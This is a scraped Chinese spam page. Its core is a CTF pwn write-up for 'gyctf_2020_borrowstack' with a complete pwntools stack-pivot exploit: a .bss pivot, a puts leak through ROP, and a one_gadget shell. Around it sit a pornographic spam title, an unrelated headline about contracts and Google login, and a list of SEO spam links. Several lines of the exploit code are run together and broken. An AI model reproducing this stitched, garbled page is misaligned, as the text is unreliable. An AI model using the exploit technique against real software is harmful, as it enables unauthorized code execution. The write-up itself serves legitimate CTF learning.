中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當前位置: 首頁 > news >正文

網(wǎng)站開發(fā)合同范本下載google網(wǎng)頁版登錄入口

網(wǎng)站開發(fā)合同范本下載,google網(wǎng)頁版登錄入口,凡科快速建站,專業(yè)美工設計網(wǎng)站建設這是一題棧遷移的題目,先看看保護: 黑盒測試: 用戶可輸入兩次內(nèi)容,接著看看IDA中具體程序流程: 我們看到溢出內(nèi)容只有0x10的空間給我們布局,這顯然是不足以我們布置rop的。因此肯定就是棧遷移了。遷到什么地…

這是一題棧遷移的題目,先看看保護:



黑盒測試:


用戶可輸入兩次內(nèi)容,接著看看IDA中具體程序流程:


我們看到溢出內(nèi)容只有0x10的空間給我們布局,這顯然是不足以我們布置rop的。因此肯定就是棧遷移了。遷到什么地方呢,肯定就是這個bank所在的地方了。它在bss段上。我們還需要考慮一些細節(jié)上的東西,首先我們需要知道libc的基地址,因此我們需要通過puts函數(shù)來泄露。我們先看看最初棧的布局:

此時rip指向leave:


棧的內(nèi)容:


leave指令做兩件事:mov rsp,rbp;pop rbp.緊接著就是執(zhí)行ret指令。

因此我們的思路明確了,需要覆蓋掉old_rbp(圖中手誤大家理解就行)和返回地址。

old_rbp覆蓋成我們的bss段,讓rbp指過去,接著返回地址需要再調(diào)用一次leave。

問:(為何棧遷移需要兩次調(diào)用leave?)

答:第一次調(diào)用是控制rbp到達想去的地方,第二次調(diào)用是控制rsp達到目的地。此后rbp飛去哪我們就不管了(不明白可以好好理解leave指令干的兩件事)


因此我們的exp就能這樣寫了:

from pwn import *#io=remote('')
io=process('./gyctf_2020_borrowstack')
context.log_level='debug'
elf=ELF('./gyctf_2020_borrowstack')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bank=0x0601080
leave=0x400699
pop_rdi=0x400703  # ROPgadget --binary gyctf_2020_borrowstack  --only 'pop|ret' | grep 'rdi'
main=0x0400626
ret=0x4004c9gdb.attach(io)
io.recvuntil('u want')
pl1=b'a'*0x60+p64(bank)+p64(leave)    #control rsp -> .bss
io.send(pl1)
# gdb.attach(io)
# pause()
io.recvuntil('now!')
pl2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)     #leak puts_addr  
io.send(pl2)io.recvline()puts_add=u64(io.recv(6).ljust(8,b'\x00'))
print('!!!',hex(puts_add))
libc_base=puts_add-0x6F6A0
one_gadget=libc_base+0x4527a
pl3=b'a'*0x60+'bbbbbbbb'+p64(one_gadget) #one_gadget libc.2.23.so
io.send(pl3)
io.send('a')io.interactive()

下面我們看下步驟好的棧布局:


bss段上的內(nèi)容:


此時劫持完rsp后效果是這樣的:


接下來的操作基本都是pop,因此rsp是從低地址到高地址跑(每次pop,rsp+8),所以我們順序布局就可以。

后續(xù)的操作就很簡單,通過泄露的puts函數(shù)地址,計算出libc的基地址,當程序再次回到主函數(shù)時,直接將棧上的返回地址覆蓋成one_gadget拿到權(quán)限。

puts函數(shù)偏移和one_gadget偏移要根據(jù)自身情況來定。我這是本地的環(huán)境。最后打通如下:


http://www.risenshineclean.com/news/6406.html

相關(guān)文章:

  • 企業(yè)建站公司電話百度關(guān)鍵詞快排
  • 用ps做網(wǎng)站頁面seo查詢 站長工具
  • 大型網(wǎng)絡游戲排行榜2021前十名湖南專業(yè)關(guān)鍵詞優(yōu)化服務水平
  • 網(wǎng)站ui設計包括哪些原則谷歌seo 外貿(mào)建站
  • 怎么自建導購網(wǎng)站做淘客公司seo排名優(yōu)化
  • 網(wǎng)站開發(fā)語言 微信接口百度快照優(yōu)化培訓班
  • 河北省建設執(zhí)業(yè)資格中心網(wǎng)站網(wǎng)絡營銷推廣技巧
  • 西充縣住房和城鄉(xiāng)規(guī)劃建設局網(wǎng)站google網(wǎng)站增加關(guān)鍵詞
  • 哪些網(wǎng)站是做b2b的網(wǎng)站維護一年一般多少錢?
  • 網(wǎng)站建設容易嗎seo自媒體培訓
  • 連云港做網(wǎng)站最好惠州網(wǎng)站制作推廣
  • 專做海島游的網(wǎng)站如何交換友情鏈接
  • 網(wǎng)站建設設計解決方案網(wǎng)推拉新app推廣接單平臺
  • 電腦版qq在線登錄網(wǎng)頁入口百度地圖關(guān)鍵詞排名優(yōu)化
  • 南昌自助建站模板今天上海最新新聞事件
  • 網(wǎng)站 建設 成品小程序開發(fā)平臺官網(wǎng)
  • hbuilder做網(wǎng)站頁面背景色鄭州seo公司哪家好
  • 58同城煙臺網(wǎng)站建設肇慶網(wǎng)站推廣排名
  • 建英語網(wǎng)站第一推廣網(wǎng)
  • 有沒有什么 網(wǎng)站能夠做試卷排名優(yōu)化服務
  • 做網(wǎng)站被坑溫州云優(yōu)化seo
  • 淘寶客網(wǎng)站做百度推廣登錄百度賬號注冊
  • 網(wǎng)站建設實習生怎么樣百度一下打開網(wǎng)頁
  • 福安建設網(wǎng)站網(wǎng)絡營銷公司好不好
  • 網(wǎng)站建設空間選擇的重要性廈門seo管理
  • 進行seo網(wǎng)站建設今日最新的新聞
  • 哪個網(wǎng)站可以做計算機二級的題關(guān)鍵詞優(yōu)化系統(tǒng)
  • 微信紅包封面分銷平臺搜索引擎優(yōu)化的內(nèi)部優(yōu)化
  • 南陽做網(wǎng)站seo的收錄網(wǎng)站的平臺有哪些
  • 網(wǎng)站建設網(wǎng)頁制seo研究中心超逸seo